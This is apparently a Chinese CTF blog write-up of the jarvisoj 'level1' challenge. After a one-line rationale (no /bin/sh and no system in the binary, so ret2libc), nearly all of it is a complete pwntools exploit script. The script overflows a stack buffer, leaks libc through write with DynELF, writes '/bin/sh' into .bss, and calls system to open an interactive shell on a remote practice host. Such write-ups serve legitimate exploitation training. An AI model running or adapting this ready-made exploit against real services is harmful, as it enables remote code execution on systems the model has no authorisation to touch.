jarvisoj_level1-ret2libc

1,
在这里插入图片描述
2,
在这里插入图片描述思路:无binsh,无system,考虑ret2libc

3,payload
利用的是pwntool模板自动搜索泄露地址匹配的libc版本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys
context.log_level="debug"
context.binary = "./level1"
elf = context.binary
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

if sys.argv[1] == "l":
    io = process("./level1")
else:
    io = remote('node4.buuoj.cn',25056)

def leak(addr):
    payload = flat(cyclic(0x88 + 4), elf.plt['write'], elf.sym['_start'], 1, addr, 4)
    io.send(payload)
    sleep(0.01)
    leaked = io.recv(4)
    info("leaked -> {}".format(leaked))
    return leaked

d = DynELF(leak, elf=ELF('./level1'))
system_addr = d.lookup('system', 'libc')
success("system -> {:#x}".format(system_addr))
pause()

#  gdb.attach(io)
payload = flat(cyclic(0x88 + 4), elf.sym['read'], elf.sym['_start'], 0, elf.bss() + 0x500, 8)
io.send(payload)
sleep(0.01)
io.send("/bin/sh\0")
sleep(0.01)

payload = flat(cyclic(0x88 + 4), system_addr, 'aaaa', elf.bss() + 0x500)
io.send(payload)

io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值